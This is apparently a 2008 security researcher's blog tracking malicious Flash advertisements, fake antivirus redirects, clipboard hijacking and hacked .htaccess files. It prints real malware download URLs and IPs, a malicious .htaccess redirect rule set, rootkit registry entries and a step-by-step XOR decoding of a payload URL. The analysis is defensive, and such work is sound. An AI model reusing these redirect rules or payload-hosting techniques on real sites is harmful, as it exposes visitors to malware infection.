<h4>
Updated Shockwave / Flash exploit
</h4>
Remember I did mention a different way to exploit redirects a couple of days ago and the shockwave exploit covered by Kaspersky?

Well it all started last night when I got a popup for a fake online scanner without seeing a Flash malvertizement. So I had to digg a bit further as usual. Going back to the site and stumbling on the same advertisement revealed something interesting in the network capture ... an encoded / obfuscated script as seen below. It might not be the exact source of the fake scanner as I didn't get redirected at the time of the write up. It remains captivating though as it covers yet another aspect of malicious action scripts used in Flash content.
IPB Image
Since I'm curious, I feel the need to decode when possible and what a nifty surprise when I discovered that the script does test which Flash version is installed and leads to a tiny swf file named july1st-firefox-intro.swf.
IPB Image
Inside july1st-firefox-intro.swf we discover 4 important strings:
CODE
String
value: /:$version
String
value: http://202.75.35.72/h/ff/
String
value: i.swf
String
value: _root
IPB Image
Seeing those strings, I realized I did fall on the exploit mentioned in the Kaspersky blog. Further analysis of the file shows that an evolution in obfuscation has taken place. The action script code has been encrypted to better hide the code from researchers.
IPB Image
The initial swf file doesn't have any images either as seen below, just 1 frame and the obfuscated actionscript.
IPB Image
Upon "execution", the value of the Flash Player is added to the i.swf, being WIN 9,0,47,0 for me.
IPB Image
july1st-firefox-intro.swf is part of a bigger "hijack" by adverts. For more information on the main exe file, please refer to Trojan-Downloader.Win32.Firu.al. The Flash exploit has been added to the infection discovered a couple of days ago.

<h4>
Updated Shockwave / Flash exploit
</h4>
Some fascinating background information about 247mediadirect.com & 202.75.35.72 is available on Sandi's blog.

<h4>
FIFTH malvertizement on iEUROP Group : ifrance - isuisse - ibelgique.com - iquebec.com - iespana.es - iitalia.com
</h4>
Incredible isn't it ? Another malvertizement featuring MediaMan is present:
  • on the main page of isuisse & iquebec
  • on the websites hosted on ibelgique & ifrance
How is this possible, I just can't believe it. I got hit by it just after the Forex AutoPilot malvert which is still rotating too.

Screenshot in situ.

Very often we notice that websites leave the advertiser's name as a folder's name on their server. Here we see a mention of atlantmedia, so that deserves some digging.

Warning
</h4>
The bad guys are pulling of a new stunt when you are a victim of a redirect. Everyone has already used copy and paste at least once in his / her life to pass links into your browser. Upon the redirect, one of the bad URL is copied into your clipboard. So let's presume that just before it happed you had a website link in your clipboard, the redirect happens, you close all your windows with ALT+F4 and you decide to go back to the initial website using the paste function ... Wrong because you now have a bad URL in your clipboard.
IPB Image
How to get quickly rid of it?
  1. Click Start > Run
  2. In the edit box type clipbrd followed by enter.
  3. The actual content of the clipboard will be displayed.
    IPB Image
  4. Click the delete button and confirm by Yes.
Furthermore I did notice that they had wiped isuisse.com (where the redirect did occur) from my Internet History list.

<h4>
Malvertizements - Another way of spreading
</h4>
Ever wondered why so many malicious banners are laying around on Internet? Well here is another method of spreading malvertizements. The banner is 1 year old (gives an idea how long these redirects are going on already) ... it's the method used by those scammers that is disgusting.

You love Myspace / Xanga / Friendster / Hi5 stuff? Let's head towards www.funmunch.com then. See the Myspace Banners link?

When clicked, you are taken to the banner directory and wow a Flash file ...

<h4>
Updated Shockwave / Flash exploit
</h4>
Another Flash file, smaller as the one mentioned here because packed this time (packers Kaspersky: Swf2Swc) and a new domain, 21centmedia.com which is serving the same exploits and redirects as 247mediadirect.com. Ref.

Again we see a script to decode.
IPB Image
Decoded we see again the same Flash test and a link to a tiny swf file named ff.swf.
IPB Image
Inside ff.swf we discover 4 important strings:
CODE
String
value: /:$version
String
value: http://209.47.164.209/h/ff/
String
value: swf
String
value: _root
The action script code has been encrypted again, ff.swf doesn't have any images either. Upon "execution", the value of the Flash Player is added to the swf, being WIN 9,0,47,0 for me.
Whoops sloppy coders, they kinda messed up this one since the dot is missing between the filename & file extension.

Depending on the id= people will get redirected to different fake online scanners. At Domain Tools, softtraf.com is still listed under 92.241.182.14 but the website actually resolves to 91.208.0.244.
scanner.vav-scan.com has been moved into that range also. We notice a couple of other domains that correspond to the id= redirects.

At 30.ath.cx we stumble on some obfuscated code. Besides the usual Internet Explorer MDAC and the Microsoft XML Core Services exploits, we notice a part dedicated to Flash. Installed Flash version is tested and according to results either i47.swf or i115.swf will be used.

What does i47.swf or i115.swf do ?

Upon "execution / analyse" they try to access Internet as seen below in order to download a file from 60.ath.cx which will be saved as c:\boot.bak

Once saved, the file will be executed by rundll32.exe because boot.bak is a Dll

boot.bak reveals some interesting stuff as seen in the packet stream. We can see some loading points and additional files to download.

c:\boot.bak

Once loaded by rundll32.exe, list.php will be requested from the server. This file will be saved as C:\Documents and Settings\[username]\Cookies\site.yahoo.txt
It does contain a chain of hex characters which I deliberately left out of the stream. I suspect this *might* represent an URL ... but I'm unable to confirm this right now.

After reboot.

Once the computer rebooted, c:\boot.bak is loaded under the winlogon process and it will then launch 0.exe present on our HDD.
IPB Image
Files will be updated as "rundll32.exe" downloads list.php followed by the executable from internet again.
If I'm not mistaken, this method *could* allow to load whatever executable on boot without changing anything to the registry once boot.bak in place. Putting the files into the cookies folder is a nifty trick too as they will be considered as "harmless" by the average user.
______________________________

SWF Files.

When it comes to action script code i47.swf and i115.swf are identical. The addFrameScript() method is used to dynamically add a frame script.
IPB Image
i47.swf has 4 tags while i115.swf only has 3 tags.
IPB Image IPB Image
The files are very difficult to analyse but the shellcode *might* again be hidden in the image as seen in the Kaspersky write-up.

Update on site.yahoo.txt
QUOTE
It does contain a chain of hex characters which I deliberately left out of the stream. I suspect this *might* represent an URL ... but I'm unable to confirm this right now.

Thanks to MAD I may now confirm it does contain the URL of the file to download. Such a technique could make you download a different file tomorrow, run it on your computer without having to modify anything related to startup settings since the file is loaded by boot.bak.

Inside the stream capture of boot.bak ( cf http://www.bluetack.co.uk/Kimberly/Logs/swf232.jpg ) we notice a string called "sobaka-barabaka". Further analysis of boot.bak reveals the following portion of code :
CODE
10002C98   push    offset "sobaka-barabaka"
10002C9D   lea    eax, [ebp+var_3FC]
10002CA3   push    eax
10002CA4   call    dec0de
Note: the above is only a small snipit and it does not represent the complete decoding procedure (UrlDecoded).

We can call sobaka-barabaka a "key" to decode the string inside list.php aka site.yahoo.txt. The following reference table will come in handy for people who are not familiar with conversions.
CODE
s -> 115 -> 0x73 -> 163 -> 1110011
o -> 111 -> 0x6F -> 157 -> 1101111
b -> 98 -> 0x62 -> 142 -> 1100010
a -> 97 -> 0x61 -> 141 -> 1100001
k -> 107 -> 0x6B -> 153 -> 1101011
a -> 97 -> 0x61 -> 141 -> 1100001
...
...
Got the principe of conversion? Let's move on to decoding then. Our string is
21B1B1611514E0254515C00160945020B40040807045E4D5447554C041304
We leave aside the 2 in front of the chain and keep the rest.
1B1B1611514E0254515C00160945020B40040807045E4D5447554C041304
Being a hex representation the chain will be decoded per 2 using the "key".
key: s -> 115 -> 0x73 -> 163 -> 1110011
part: 1B
decode: 0x73^0x1B=0x68

0x68 in Hex represents 104 in ascii which represents the letter h
To decode the string, a loop is needed until all hex chars are processed. Below is the illustration / result of the decoding procedure.
CODE
0x73^0x1B:0x68 -> h
0x6F^0x1B:0x74 -> t

Which gives us http://60.ath.cx/files/554.exe
This file will be saved as C:\Documents and Settings\[username]\Cookies\0.exe

Special thanks fly out to MAD for confirming my initial thought of this being a link.

<h4>
ie_update.exe & i47.swf & i115.swf - A small demonstration
</h4>
ie_update.exe - i47.swf - i115.swf perform all the same task, download 60.ath.cx/up.php, save the file as c:\boot.bak and run the file.

Since it's extremely difficult to work with the SWF files, I did chose ie_update.exe instead in order to show you the "embedded" link and actions taken.

Below we see the use of urlmon.URLDownloadToFileA. This function will be used to download our file and save it as c:\boot.bak.
In the hex dump, we already notice the URL
IPB Image
Let's follow the CALL EAX a bit closer. Screenshot below is "inside" urlmon.dll. We clearly see our two actors, 60.ath.cx/up.php and c:\boot.bak
IPB Image
Once our file downloaded, kernel32.WinExec is called. Once passed that call we get the prompt from ProcessGuard that ie_update.exe wants to start c:\boot.bak using rundll32.exe (boot.bak being a Dll)
IPB Image
The same actions are performed with i47.swf & i115.swf.

<h4>
Domains from 0.exe
</h4>
Today I had a closer look at 0.exe, the file downloaded by c:\boot.bak. 0.exe contains a couple of interesting domains coded into it.

<h4>
gnida.swf ... some surprising results
</h4>
gnida.swf, newbieadguide.com & co are they still used or dead? Only one way to figure out ... I was kinda surprised when I saw the link newbieadguide.com/swf/gnida.swf?campaign=mortmainon&u23423424 show up in search with a date / time stamp of 2008/07/17 00:54.
IPB Image
Let's narrow down a lil' bit.
IPB Image
Hmm ... some other links point their nose ... lil' peek on them also by isolating some stuff.
IPB Image
In our basket we now have
newbieadguide.com/swf/gnida.swf?campaign=mortmainon&u23423424
www.estandi.yoyo.pl/Aolmail.html
gogele.com
bull.s11.x-beat.com/src/bull124569.gif
and more recently newbieadguide.com replaced by
chocolatgirl.50webs.com/description/lame-enc.html
<h4>
Ready for a ride?
</h4>
newbieadguide.com/swf/gnida.swf?campaign=mortmainon&u23423424

No live redirect right now, at least not for me. It's setting a cookie and not showing stats so the campaign might still be "in use".

estandi.yoyo.pl/Aolmail.html

Interesting case I must say; as it took me 2 minutes to figure out how the hell I suddenly ended up at scanning-computer-online.com. I didn't even have the chance to see estandi.yoyo.pl/Aolmail.html loading ...
IPB Image

On estandi.yoyo.pl/Aolmail.html we find a reference to a.js

The content of a.js does reveal us the next location ... aqtravel.info/find/search.php?said=Mkey5&q=Aolmail

<h4>
Myspace - antispywaremaster.com
</h4>
Myspace.com is hit again by a malicious Flash banner. More info at FaceTime Security Labs.

The victims are redirected to antispywaremaster.com as seen on the screenshot. Antispywaremaster.com has been mentioned on several occasions by me & Sandi. Not long ago we say a banner redirecting to them on screensavers.com. ForceUp behind it again? Sandi did mention them a couple of days ago on her blog.

<h4>
Exploiting redirects in Flash content
</h4>
*Sigh* .... another of those sneaky little Flash files - 1,394 bytes -. This time an executable is downloaded on the PC from www.plgou.com.
IPB Image
Don't visit the site, there are different exploits present and you could encounter them on any website as they are used in sql injections. Apparently a user has been hit on my.yahoo according to Sandi's blog. A Google search on "jjmaobuduo.3322.org/csrss/w.js" reveals already a high number of affected websites.

<h4>
Warning: forbes.com - BigHip
</h4>
The BigHip malvertizement discovered less than 24h ago on 123greetings.com *might* eventually be displayed at forbes.com, everything does of course depend on how long some advertisements are being actively used. The malicious banner is present on their server as seen below.

Using wget, the flash file has a date stamp from July 11 2008. Until further notice I would recommend extreme caution upon visiting forbes.com

<h4>
Served Ad - www.servedad.net

A while back we saw that folder names in URL's can reveal interesting things, cf ReachWe. When I looked at the URL leading to the BigHip advertisement, I knew I already saw Servedad somewhere ...

Link.

Sandi did mention an advertisement for American Singles in June. I noticed the advertisement on 123greetings.com a couple of weeks ago but they were displaying the gif file and not the flash file. The link leading to the banner was also wearing the mention servedad and hosted by RealMedia. Even by changing the link a little bit I was unable to discover the Flash version of this advertisement. Maybe it had been pulled out already.

Served Ad - www.servedad.net

Don't bother clicking on the links, they don't work and all lead to the same page. If you have creatives from Served Ad, check them out at Adopstools. A warning about Served Ad being involved in malware is also displayed at Spam Laws.

<h4>
Flash, rootkit & file system patching
</h4>
I can only wish one thing after you'll see this one, that you hate Flash and prevent it from running. That's about all I have to say on the whole Flash story.

It all starts again with one of those nifty small Flash files which contain a link to an executable. I will not focus on the swf file itself, we saw them enough lately.
IPB Image
IPB Image
First a small note, due to the complexity of the screenshots I had to run this bugger twice, so you will notice a difference in the driver name because it's random.

So what must happen, will happen ... x.exe is downloaded and executed on our system. It wants to install a driver /service (random name), starts an instance of Internet Explorer, writes into the memory address of Internet Explorer and x.exe is deleted.
IPB Image
That's only the tip of the iceberg because behind the scene there's much more going on.

Here we see x.exe dropping the driver into the root, usual c:\
IPB Image
The driver is loaded into the System process.
IPB Image
The corresponding service is created.
CODE
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\11828ef8135c9f0a]
"Type"=dword:00000001
"Start"=dword:00000003
"ErrorControl"=dword:00000000
"ImagePath"=str(2):"\??\C:\11828ef8135c9f0a.dat"
"DisplayName"="11828ef8135c9f0a"
The driver is marked for deletion by x.exe and we will thus not be able to find C:\11828ef8135c9f0a.dat on our HDD.
IPB Image
Now take a seat as here comes the fun. I first didn't fully understand the meaning of everything seen in the picture below but believe me it will become cristal clear, especially after a reboot. We notice that x.exe messes around with explorer.exe and writes something directly to the HDD - Device\Harddisk\DR0 - at a certain offset. When we look at the size of the bytes written, we notice it's exactly the same size as explorer.exe.
IPB Image
IPB Image
In meanwhile anything that hooks SSDT will be kicked out ... antivirus, firewall, hips ... so you may say ciao to your protections. A hidden instance of Internet Explorer is started by x.exe and 2 unknown modules will appear in the memory address space of IE. A text file is then requested from a server which contains a lists of files to download. First file on the list is the dropper update.
IPB Image
At this stage our rootkit scan looks as follows.

A strange thing happend when I fired up gmer, windows found some new hardware and wanted to reboot.
IPB Image
I was curious how the rootkit scan would look after so I did reboot the computer. I found out that a chkdsk scan was scheduled at reboot, scan I did cancel. When arriving on the desktop, Explorer.exe wanted Internet access ...
IPB Image
Uhmm, curious as this usually does not happen. Guess what ... explorer.exe has been replaced, the Device\Harddisk\DR0 mystery is solved. Same list of files are again downloaded. Nothing prevents the bad guys from changing the list of files to download btw. Rootkit scan now looks like this:

WawaSeb alerted me on this case. A female basketball club website - www.rebondottignies.be - kind of hijacked by our Nancy Drew malvertizement. I did mention her "Hijacking In Style" a couple of days ago.

So what do we have here? A nifty script on the homepage ... the owner of the site has been a victim of hacking.

Whoops, here we have an obfuscated script to decode.
IPB Image
It's a very long script. OS, browser, Flash version are tested and some exploits get fired up.
  • MS06-014
  • MS03-011
  • MS05-001
  • Flash
Below is a snip-it of the decoded script relative to Flash content of course.

<h4>
Another nifty Flash file
</h4>
Here we go again, i115.swf one of those nifty little Flash files will download a file called SW.exe from the server. The SW.exe will drop msgmr.dll into the program files\messenger folder and will load the dll with the help of rundll32.exe
IPB Image
About 5 minutes later, rundll32.exe will start a hidden instance of Internet Explorer.
20:01:43 [EXECUTION] "c:\program files\internet explorer\iexplore.exe" was allowed to run
[EXECUTION] Started by "c:\windows\system32\rundll32.exe" [468]
[EXECUTION] Commandline - [ "c:\program files\internet explorer\iexplore.exe" -nohome ]
A very small gif file will be downloaded. moon.gif isn't a real image, it's a text file which contains a list of additional files to download. All will "pretend" to be gif files but they ain't.
IPB Image
The last 3 files are the worst, one is a self update and 2 of them will install drivers. d.gif will also write into the memory address space of explorer.exe.
IPB Image
Let's details those drivers a little bit.

b.gif
  • service: 1120561ErrorControl - random numbers + ErrorControl
  • file: %temp%\dump_wmimmc.sys - will be deleted once loaded
  • file: %windows%\Downloaded Program Files\ThunderAdvise.dll
d.gif
  • file: %windows%\linkinfo.dll
  • file: %system%\drivers\IsDrv122.sys - mimics IceSword driver
  • service: eth8023
  • file: %system%\drivers\eth8023.sys
Information about hardware will be posted back and a final update will be performed. This is chinese stuff, it's very complex and often difficult to remove from a computer.

There is also a new key created under HKEY_CURRENT_USER called avs which contains a lot of settings related to OS settings.

New malvertizement for cardstore.com
</h4>

cardstore.com.

Fuse Kit 2.1.4 has been used in this malvertizement. Just like Sandi I would advise extreme caution for any advertisement build with this kit. I have never encountered Fuse Kit in "legit" advertisements. More info.
The malvert was received from trackstarmedia.com. The domain has been suspended due to invalid Whois information. Full story.

<h4>
Redirected to .... from search engines - .htaccess hack
</h4>
I was reading some of the forum posts mentioning the use of the clipboard & malware URL's - which I experienced myself on isuisse btw - on Sandi's Blog when I ran into something way more frightening ...

From this comment.

Another person complains of the clipboard problem - you can see the discussion here:
http://forums.devnetwork.net/viewtopic.php...48&p=477521
The same person made another post here.
Ok guys, I'd love to hear thoughts on this one. I had a very strange thing happen to me today. I found out that my .htaccess file had been edited by _someone_ to have this in it:

CODE
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://87.248.180.88/in.html?s=hg [R,L]
Errordocument 404 http://87.248.180.88/in.html?s=hg_err

I'm not entirely sure what all of that means. However, I now know that all my 404s were getting redirected to 87.248.180.88 (which seems to be spam/virus-ey). I discovered this by almost pure chance. I've alerted my hosting provider, have changed all my passwords, and removed all the code that I could find. However, I'm _very_ curious as to how this got into my .htaccess file.

I would be _very_ surprised if someone had guessed my password since it's rather strong (8+ characters, capitalization thrown in and numbers/special chars).
I'm pretty sure that none of the php scripts on my server have access to this file, but I could be wrong (?).
Any ideas?
For those not familiar with .htaccess we will explain what those lines do.
  1. If the header of your browser tells the website you're visiting that you come from Google, AOL, MSN, Altavista, Ask or Yahoo search engine you will be redirected to 87.248.180.88/in.html?s=hg.
  2. If you request a page that doesn't exist on the website you will get redirected to 87.248.180.88/in.html?s=hg_err instead of the usual 404 not found.
Let's have a closer look at those URL's using a sniffer. In both cases we'll see a redirect to a fake online scanner.

It seems that many iPower websites are affected as hacking started back in 2007 on those servers. Talkweather.com is hosted on ThePlanet and so is www.HuxleyGame.com (ns on hostgator.com).

______________________________

Let's have a closer look at the URL
media.washingtonpost.com/wp-adv/advertisers/trackstar/easyforex_728x90.swf
We notice the presence of trackstar. I think we may link this to trackstarmedia which has been caught a couple of days ago for distributing the cardstore.com malvertizement. References here and here.

The malicious banner being hosted at the Washingtonpost, I would advice extreme caution when visting washingtonpost.com and any website serving media content from them. The discovery of this malvertizement confirms the report from 14th August 2008 seen in Clipboard Loop - repeated copies from browser - virus?
It just happened again, this time on my XP laptop.
While on MSNBC.com frontpage, I clicked on a link to a newsweek article about Obama's comments on tire pressure. Bam! Next thing I know, I'm at a malware site: hxxp://webscannerfreever.com (don't go there!!!!!) and it's claiming to have found all sorts of malware on my PC, and keeps trying to initiate a download. I must have cancelled the thing 20 times before I could get my browser to go back (click the back button). Then I landed on the Newsweek page, which must have flashed by. ......
Note: Bold & color emphasis are mine.

The "clipboard issue" is also mentioned in that article. I can confirm that some of those websites copy their link to the clipboard like I did experience myself on 13th July 2008 with a banner hosted on ifrance. Reported here. There is no need to reboot the computer or log off ... just follow the instructions below.
  1. Close the tabs with the advertisement, redirect ... or even better, close your browser.
  2. Click Start > Run
  3. In the edit box type clipbrd followed by enter.
  4. The actual content of the clipboard will be displayed.

  5. Click the delete button and confirm by Yes.

<h4>
Thoughts about the recent wave of reports ...
</h4>
Lot's of people have been reporting redirects lately as seen on Sandi's blog. Let me quote a sentence of the latest blog entry.
It worries me that I am seeing complaints about malvertizing-like symptoms all over the net implicating - not only newsweek, but at other big name sites like MSNBC, Facebook, lime.com, Hotmail, MySpace and Yahoo.
It worries me too and I have been poking around at different sites without any success until another idea, supposition, theory (call it whatever you want) crossed my mind when looking at some content displayed at MSNBC.On different places, from time to time there's an external link to ... newsweek.com

On today.msnbc ...
IPB Image
There is also a small box with Top msnbc.com stories.
IPB Image
When clicking on the article I ended up at newsweek and the malicious easy-forex banner was there again.
IPB Image
If you are completely redirected and not familiar with them, you *might* eventually think that the malvertizement was located on msnbc.com no? When you are interested by an article, you don't always hover over the link and watch the status bar before clicking on it either, so you never will see the Newsweek site either or it will just "flash by". Let's go a step further now. On newsweek.com you can add an article to Social Networks such as Digg It, Newsvine, Del.icio.us, Facebook, Yahoo Buzz, Mypace.
IPB Image
Let's fly over to Digg It. A search reveals quite some links to Newsweek articles. I clicked on 1 link and yeah, did hit that easy-forex malvert again. Again, if fully redirected you won't see Newsweek and Digg It will be the "culprit".
IPB Image
Note I used open in new window from my browser as I was expecting this to happen (well 90% of chance).

My Yahoo allows content from msnbc.com to be added. The module is called Top MSNBC Headlines. Yet another possible link in addition to Yahoo Buzz ...
IPB Image
At MySpace a search for newsweek articles reveals 1180 results ...
IPB Image
See where I'm trying to get? One "well placed" malvertizement may lead to a huge number of affected users and the fact that the malvertizement is often displayed upon entering the website may lead to think that you got hit "elsewhere". Of course there might be more malicious banners around, I don't exclude that possibility at all. It's not the first time we saw them hit several big sites at the same time. This theory doesn't explain lime.com or hotmail for example.
Kimberly
<h4>
In-text advertising
</h4>
I suppose most of you are familiar with In-text advertising, which is a form of contextual advertising. IntelliTXT and Kontera are such providers. You're never gonna believe it, they show up there too now. Hovering over Fujitsu did bring up an advertisement for a fake online scanner called winspywarescanner.com
IPB Image
Below is the association of the word Fujitsu to it's advertising content on the kontera server.
IPB Image
If you accidentally click on it, we will follow the redirects below and end up at the fake scanner.
c.enhance.com/c?e1=[removed]
c.enhance.com/c/2?e1=[removed]
scan.free-antispyware-scanner.com/110029/3/
IPB Image
Some of those In-text advertising ads are Flash files ... I let you readers imagine the rest.
IPB Image

<h4>
Fuse Kit
</h4>
The recent malvertizement featuring easy-forex has lead to quite some attention around Fuse Kit.From Moses's comment.
I hope that you, Kimberly and the others will retract these implications that Fuse is somehow responsible for things it is not even capable of.
Let's get things straight. The bad guys are writing their own procedures in Fuse code that is a fact and I've written to Moses about that. It does NOT mean that Fuse is bad, it's being "MISUSED" just like they use Action Script 2.0 & 3.0 to obfuscate data.

Sandy did partially illustrate this here, I can as well disclose the rest.

Right side the malvert, left side a clean easy-forex advertisement (from bannersonline).

Text Fields.
IPB Image IPB Image
We also notice the presence of 4 Misc Tags in the bad advertisment, they are Fuse exports assets.

Scripts.
IPB Image IPB Image
Text 4 in the SWF file is used to hold an obfuscated string.
IPB Image
IPB Image
Text 4 is named "id".
IPB Image
Below is the declaration of vars used in the altered Fuse.as. We notice:
  1. a reference to "id" which is our text 4 string.
  2. _nsFunc = "split" - We know that they use "split" to break long strings into parts.
  3. _nJid = ",la," - The identificator used to break the string in parts
IPB Image
Below is a snipit of the code which allows to decrypt and build the URL's and the use of split & join.
IPB Image
When I first saw the scrambled text, I initially did think it was XORed but that isn't the case. The "bad guys" did write a complex set of functions to decode the "obfuscated" text. In no means these are part of the initial Fuse package / library. They have added their own code to the Fuse library, disguised as animation functionality in order to make people think it is part of Fuse which is NOT the case. Fuse is not capable of any sort of encryption, decryption or network activity.

<h4>
Mashable.com - MediaMan
</h4>
A MediaMan malvertizement has been discovered on Mashable.com and Google Adsense is implicated - Reference.
I did issue a warning about that possibility on April 18 2008 after reading an incident involving TheMishMash.com - Reference.
Kimberly
<h4>
ContentLink (Kontera) In-text advertising - Tubes
</h4>
On Aug 18 2008, I noticed an in-text advertising for winspywarescanner.com and I said:
Some of those In-text advertising ads are Flash files ... I let you readers imagine the rest.
Well here is one, featuring Tubes. Seeing the campaign, it's not a recent one but at least it proves that you can encounter those malicious banners with in-text advertising. The text associated with such an advertisement is identified by a double-underline to differentiate it from regular hyperlinks. An in-page window containing advertising content appears when the cursor is positioned over the corresponding text. Below is an example that illustrates the concept.

<h4>
Alert : spaces.live.com - Winning Surveys ... Which Coffee is better
</h4>
Possible presence of the "Winning Surveys ... Which Coffee is better" malvertizement on spaces.live.com. On Sep 15 2008 this malicious banner was caught in situ on cnbc.com and at the same period it was served on spaces.live.com as seen on the screenshot in the article about the Presidential Election (spam) Campaign published by Websense.
IPB Image
Windows Live Space is using advertisements from spe.atdmt.com, chance is fairly high we are talking about the same malvertizement, e.g. spe.atdmt.com/ds/MSMSNMATCVNI/728x90_logo.swf
Note the MSMSN part in the folder name ... extreme caution when visiting MSNBC, MSN, hotmail, etc is advised.

<h4>
www.movizdb.com - Skype
</h4>
The Skype malvertizement is being served on www.movizdb.com, not in the "usual way" but through ClickInText which is similar to IntelliTXT and Kontera. They also use those those small ads that slide onto the screen from the left side and thats how the Skype banner was displayed. The advertising company weborama.fr who does host the Skype Flash banner is rather big, so this malvertizement might be seen on several other French websites.

Screenshot in situ.

The Flash advertisement itself is clean; the screenshots are just for "visual reference" because it's NOT the Flash advert triggering the redirect but the script located on the same server, e.g. adtds.adnewgeneration.com.

Why the hell would a Photobucket Community Support person & a member with 1380 posts deliberately insert a malicious URL into their replies? This is very weird ... is this again a sign of clipboard hijacking or is this something way more serious and when I say serious I'm thinking about a hack / exploit in forum software. I preview my posts before hitting the reply button and even without that, you would see the URL you insert don't ya think?

<h4>
Warning: Photobucket
</h4>
As mentioned yesterday, I did find it odd that a Photobucket Community Support person had a malicious link in one of his replies. Photobucket is probably (again) the victim of a malicious advertisement.

http://forums.photobucket.com/showthread.php?t=30006
Your 'Auto-Copy' feature is being exploited.
--------------------------------------------------------------------------------
One of the ads around Photobucket is overwriting copied image code with a link to an "antivirus" site. I know this site personally from working at Geek Squad. It's a website that will install a nasty piece of adware named Antivirus 2008.

This has happened to me twice today for the first time on two different computers at two different times (+3 hours) both happened when copying an image link/code from PhotoBucket.

If a site admin/webmaster would like to get with me via PM, I can give you the site address, as I don't want to post it on a public forum.

Thanks.
Until this issue has been tracked down, extreme caution is advised when visiting Photobucket and forums.guru3d.com. Seeing the id of the campaigns, there is a big chance they involve 2 distinct advertisements. Don't hesitate to PM us if you have any information regarding this "clipboard" issue.

If needed, instructions on how to clear you clipboard can be found here. Just make sure that all browser windows are closed before.

Another case of a hacked .htaccess file: Favell Museum
</h4>
Be very carefull if you visit the Favell Museum website - www.favellmuseum.org - from a search engine. The .htaccess file has been hacked and is redirecting people to a fake online scanner. If you directly paste the website into your browser, you won't be affected.

<h4>
Photobucket & the Clipboard hijacking incident
</h4>
I have been trying to trace the clipboard hijacking incident down on Photobucket this weekend without any success unfortunately. One thing is for sure, the person's browser was indeed displaying a malvertizement, I actually can demonstrate this very easily. Whether it was actually on Photobucket or another site is yet unknown, it all depends on how many pages / tabs were open…
Before we go any further, let me emphasis in bold a couple of words from his post on the Photobucket forums.

Your 'Auto-Copy' feature is being exploited.
--------------------------------------------------------------------------------
One of the ads around Photobucket is overwriting copied image code with a link to an "antivirus" site. I know this site personally from working at Geek Squad. It's a website that will install a nasty piece of adware named Antivirus 2008.

This has happened to me twice today for the first time on two different computers at two different times (+3 hours) both happened when copying an image link/code from PhotoBucket.

If a site admin/webmaster would like to get with me via PM, I can give you the site address, as I don't want to post it on a public forum.

Thanks.

How does Photobucket copy a link to your clipboard.

The answer is simple, they use some javascript code and most important of all ... a very small Flash file. Illustration ...

The HTML code of that page contains of course different elements and tags, but we are only interested by the portion relevant to our demonstration.
CODE
  <div id="linksContainer">
        <div id="htmlLinksContainer">
            <label for="txtThumbURLTag2"><b>Share URL - </b>
              Email & IM</label>
            <input name="txtThumbURLTag2" id="txtThumbURLTag2"
                   class="textBox" type="text"
                   value="http://media.photobucket.com/image/halloween%20or%20halloween%20icons/hspaar/My%20Icons/Halloween.jpg"
                   readonly="readonly" onclick="trackCodeClickMediaDetail(event);
                                                copyToClipboard(this);">
            
            <label for="txtThumbURLTag2"><b>Direct Link - </b>
              Layout Pages</label>
            <input name="txtThumbURLTag2" id="txtThumbURLTag2"
                   class="textBox" type="text"
                   value="http://i22.photobucket.com/albums/b346/hspaar/My%20Icons/Halloween.jpg"
                   readonly="readonly" onclick="trackCodeClickMediaDetail(event);
                                                copyToClipboard(this);">
            
            .... snip ...
            
        </div>
   </div>
When you click inside the box containing the code you would like to copy, Direct Link - Layout Pages in our sample, 2 functions are called:
  • trackCodeClickMediaDetail
  • copyToClipboard
We are of course only interested in copyToClipboard. Those fuctions are stored in a js file. Below is the copyToClipboard function with the reference to the Flash file ... var K="/include/swf/_clipboard.swf
CODE
function copyToClipboard(E)
{
   var K="/include/swf/_clipboard.swf";
   var H="notifyTextCopied";
   var J=Element.up(E);
   var C=document.createElement("div");
   C.setAttribute("id",H);
   C.appendChild(document.createTextNode("Copied"));
   J.appendChild(C);
   E.onblur=function(L)
   {
     Element.hide(C);
     return true
   }
;var G=Element.cumulativeOffset(E);
   var F=Element.positionedOffset(E);
   Element.show(C);
   if(G.left<(C.offsetWidth+2))
   {
     C.style.left=(F.left+(E.offsetWidth+3))+"px"
   }
   else
   {
     C.style.left=(F.left-(C.offsetWidth+2))+"px"
   }
   C.style.top=F.top+"px";
   var B=Effect.Fade(C,
   {
     fps:75,from:1.9,to:0,duration:1,queue:"front",afterFinish:function()
     {
       Element.remove(C)
     }
    
   }
   );
   window.status="Copied text to clipboard";
   var I="flashcopier";
   if(!$(I))
   {
     var A=document.createElement("div");
     A.id=I;
     document.body.appendChild(A)
   }
   $(I).innerHTML="";
   var D='<embed src="'+K+'" FlashVars="clipboard='+escape(E.value)+'" width="0" height="0" type="application/x-shockwave-flash"></embed>';
   $(I).innerHTML=D;
   E.select();
   return true
}
The link is stored in a variable called "clipboard" and _clipboard.swf is loaded into the browser. _clipboard.swf contains an actionscript with System.setClipboard(clipboard).

That's how the links are copied to your clipboard at Photobucket.

Now if the clipboard content was overwritten, it means that another Flash file was using the same function at the same time, which implies that the malicious banner was being displayed on that Photobucket page or eventually on another one ... supposing any other pages / websites were actually open of course. My 2 cts ? ... We all are aware that they can be very difficult to track down but I personally have the feeling that a malicious advertisement is / was circulating at Photobucket. I came across a highly suspicious banner but at the time of the write-up I can't confirm if the Flash file is "bad" or not.
